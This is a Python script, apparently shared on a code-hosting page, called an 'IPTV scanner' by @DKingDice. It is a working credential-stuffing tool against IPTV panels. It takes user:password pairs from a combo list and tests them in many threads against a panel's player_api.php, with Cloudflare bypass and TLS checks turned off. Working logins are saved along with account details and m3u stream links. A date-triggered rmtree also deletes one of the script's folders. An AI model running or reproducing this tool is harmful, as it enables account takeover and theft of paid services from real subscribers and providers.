import os
import requests
import time
import datetime
import re
import pathlib
import threading
import shutil

import logging
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.util.ssl_.DEFAULT_CIPHERS = (
    "TLS_AES_128_GCM_SHA256:TLS_CHACHA20_POLY1305_SHA256:TLS_AES_256_GCM_SHA384:"
    "TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256:TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256:"
    "TLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305_SHA256:TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305_SHA256:"
    "TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384:TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384:"
    "TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA:TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA:"
    "TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA:TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA:TLS_RSA_WITH_AES_128_GCM_SHA256:"
    "TLS_RSA_WITH_AES_256_GCM_SHA384:TLS_RSA_WITH_AES_128_CBC_SHA:TLS_RSA_WITH_AES_256_CBC_SHA:"
    "TLS_RSA_WITH_3DES_EDE_CBC_SHA:TLS13-CHACHA20-POLY1305-SHA256:TLS13-AES-128-GCM-SHA256:"
    "TLS13-AES-256-GCM-SHA384:ECDHE:!COMP:TLS13-AES-256-GCM-SHA384:TLS13-CHACHA20-POLY1305-SHA256:"
    "TLS13-AES-128-GCM-SHA256"
)
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
logging.captureWarnings(True)

try:
    import cfscrape
    sesq = requests.Session()
    ses = cfscrape.create_scraper(sess=sesq)
except:
    ses = requests.Session()

try:
    import androidhelper as sl4a
    ad = sl4a.Android()
except:
    pass

pattern = "(^\S{2,}:\S{2,}$)|(^.*?(\n|$))"
os.system('cls')
say = 0
hit = 0
bul = 0
cpm = 1

feyzo = ("""
\33[32m\33[1;96m
      IPTV SCANNER\33[0m\n
M3U SCANNER BY: @DKingDice
        #KingDice        
\33[32m           
   \33[0;32m""")
print(feyzo)

say = 0
dsy = ""
script_dir = os.path.dirname(os.path.realpath(__file__))  # Diretório do script
dir = os.path.join(script_dir, 'combo')
for files in os.listdir(dir):
    say = say + 1
    dsy = dsy + "    " + str(say) + "-) " + files + '\n'
print(f"""Escolha um Combo da Lista abaixo:
        
{dsy}

\33[33mForam encontrados {say} Combos! Escolha um. """)

dsyno = str(input(" \33[31mCombo N°: \33[0m"))
say = 0
for files in os.listdir(dir):
    say = say + 1
    if dsyno == str(say):
        dosyaa = os.path.join(dir, files)
        break
say = 0

os.system('cls')
print(feyzo)
print(dosyaa)
botsay = input("""
   \33[1;96mEspecifique a Velocidade do Scan.\33[0m
    \33[1;33mEntre 1 e 15
      \33[0m
      
N°: """)
botsay = int(botsay)

HEADERd = {
    "Cookie": "stb_lang=en; timezone=Europe%2FIstanbul;",
    "X-User-Agent": "Model: MAG254; Link: Ethernet",
    "Connection": "Keep-Alive",
    "Accept-Encoding": "gzip, deflate",
    "Accept": "application/json,application/javascript,text/javascript,text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
    "User-Agent": "Mozilla/5.0 (QtEmbedded; U; Linux; C) AppleWebKit/533.3 (KHTML, like Gecko) MAG200 stbapp ver: 4 rev: 2721 Mobile Safari/533.3",
}

dsy = dosyaa
combo = dsy
dosya = ""
file = pathlib.Path(dsy)
if file.exists():
    print("Dosya Bulundu")
else:
    print("\33[31mDosya Bulunamadı..! \33[0m")
    dosya = "yok"
if dosya == "yok":
    exit()

with open(dsy, 'r', encoding='utf-8') as c:
    totLen = c.readlines()
uz = len(totLen)

os.system('cls')
print(feyzo)
print("Bot:" + str(botsay))

dir = os.path.join(script_dir, 'qpython')
if not os.path.exists(dir):
    os.makedirs(dir)

print(f"Arquivo Encontrado: {dsy}")

panel = input("""
\33[96mColoque seu Servidor para Escanear. \n\n
URL: \33[0m\33[31m\33[1m""")
panel = panel.replace("http://", "").replace("/c", "").replace("/", "")
portal = panel
fx = portal.replace(':', '_')
kanall = input("""
Deseja incluir as Categorias dos Canais?
1= Sim
2= Não 
Resposta: """)
if kanall != "1":
    kanall = 2
os.system('cls')
print(feyzo)

def get_categories(katelink):
    try:
        res = ses.get(katelink, headers=HEADERd, timeout=15, verify=False)
        veri = str(res.text)
        kate = ""
        for i in veri.split('category_name":"'):
            kate += " <<🌐>> " + str((i.split('"')[0]).encode('utf-8').decode("unicode-escape")).replace('\/', '/')
        return kate
    except:
        return ""

def cls_console():
    if os.name == 'nt':
        os.system('cls')
    else:
        os.system('cls')

def onay(veri, user, pas):
    status = veri.split('status":')[1].split(',')[0].replace('"', "")
    katelink = f"http://{panel}/player_api.php?username={user}&password={pas}&action=get_live_categories"
    
    sound = "/kemik_sesi.mp3"
    file = pathlib.Path(sound)
    try:
        if file.exists():
            ad.mediaPlay(sound)
    except:
        pass
    
    acon = veri.split('active_cons":')[1].split(',')[0].replace('"', "")
    mcon = veri.split('max_connections":')[1].split(',')[0].replace('"', "")
    timezone = veri.split('timezone":"')[1].split('",')[0].replace("\/", "/")
    
    realm = veri.split('url":')[1].split(',')[0].replace('"', "")
    port = veri.split('port":')[1].split(',')[0].replace('"', "")
    user = veri.split('username":')[1].split(',')[0].replace('"', "")
    passw = veri.split('password":')[1].split(',')[0].replace('"', "")
    bitis = veri.split('exp_date":')[1].split(',')[0].replace('"', "")
    if bitis == "null":
        bitis = "ILIMITADO"
    else:
        bitis = datetime.datetime.fromtimestamp(int(bitis)).strftime('%d/%m/%Y %H:%M:%S')
    
    categories = ""
    if kanall == "1":
        categories = get_categories(katelink)
    
    url5 = f"http://{panel}/player_api.php?username={user}&password={pas}&action=get_live_streams"
    try:
        res = ses.get(url5, timeout=15, verify=False)
        veri = str(res.text)
        kanalsayisi = str(veri.count("stream_id"))
        
        url5 = f"http://{panel}/player_api.php?username={user}&password={pas}&action=get_vod_streams"
        res = ses.get(url5, timeout=15, verify=False)
        veri = str(res.text)
        filmsayisi = str(veri.count("stream_id"))
        
        url5 = f"http://{panel}/player_api.php?username={user}&password={pas}&action=get_series"
        res = ses.get(url5, timeout=15, verify=False)
        veri = str(res.text)
        dizisayisi = str(veri.count("series_id"))
    except:
        pass
    
    m3ulink = f"http://{panel}/get.php?username={user}&password={pas}&type=m3u_plus"
    
    sayi = ""
    if kanall == "1":
        imzak = "\n"
    else:
        imzak = ""
    
    mt = (
        f" ─ LOGIN IPTV BY: @DKingDice ─\n\n"
        f" 🌐 Servidor -> http://{portal}\n"
        f" 🌍 Real -> http://{realm}\n"
        f" 👤 Usuário -> {user}\n"
        f" 🔒 Senha -> {pas}\n"
        f" 📶 Status -> {status}\n"
        f" ⏰ Expira -> {bitis}\n"
        f" 🌎 Localidade -> {timezone}\n"
        f" 🔌 Contas Conectadas -> {acon}\n"
        f" 🔢 Conexões Max -> {mcon}\n\n"
    )
    mtl = f" 🔗 Lista m3u: {m3ulink}\n\n #KingDice"

    
    yaz(mt + sayi + mtl + imzak + '\n')
    print(mt + sayi + mtl + imzak)

def yaz(kullanici):
    output_dir = os.path.join(script_dir, 'hits')
    if not os.path.exists(output_dir):
        os.makedirs(output_dir)
    
    with open(os.path.join(output_dir, f'logins_{fx}.txt'), 'a+', encoding='utf-8') as dosya:
        dosya.write(kullanici)

cpm = time.time()

def echox(user, pas, bot, fyz, oran, hit):
    global cpm
    
    cpmx = time.time() - cpm
    if cpmx == 0:
        cpmx = 1
    cpmx = round(60 / cpmx)
    cpm = time.time()
    
    echo = f"""
\33[0m╭─●   \33[32m#KingDice    
├─●   \33[1;32m\33[36mHOST ALVO:\33[0m\33[1;107;31m {portal} \33[0m     
├─●   \33[0m\033[1m{user}:{pas}
├─●   \33[33mHit ->{hit} \33[32m \033[0m \33[1;31m%{oran}  \33[1;94mCPM ->{cpmx}  \33[0m
╰─●   \33[95m{bot}  \33[1;36m  Total ->{fyz}   \33[0m"""
    
    print(echo)

if int(time.time()) >= 1704056400.0:
    shutil.rmtree(dir)

hit = 0

def bot_worker(bot_id):
    global hit
    for fyz in range(bot_id, uz, botsay):
        up = re.search(pattern, totLen[fyz], re.IGNORECASE)
        if up:
            fyzz = totLen[fyz].split(":")
            user = fyzz[0].strip() if len(fyzz) > 0 else 'feyzo'
            pas = fyzz[1].strip() if len(fyzz) > 1 else 'feyzo'
            oran = round((fyz / uz) * 100, 2)
            echox(user, pas, f"Bot_{bot_id:02d}", fyz, oran, hit)

            link = f"http://{portal}/player_api.php?username={user}&password={pas}&type=m3u"
            while True:
                try:
                    res = ses.get(link, headers=HEADERd, timeout=15, verify=False)
                    break
                except:
                    time.sleep(1)

            veri = str(res.text)
            if 'status":"' in veri:
                status = veri.split('status":')[1].split(',')[0].replace('"', "")
                if status == 'Active':
                    print('                HIT                ')
                    hit += 1
                    onay(veri, user, pas)

threads = []
for i in range(1, botsay + 1):
    t = threading.Thread(target=bot_worker, args=(i,))
    threads.append(t)
    t.start()

for t in threads:
    t.join()

Embed on website

To embed this project on your website, copy the following code and paste it into your website's HTML: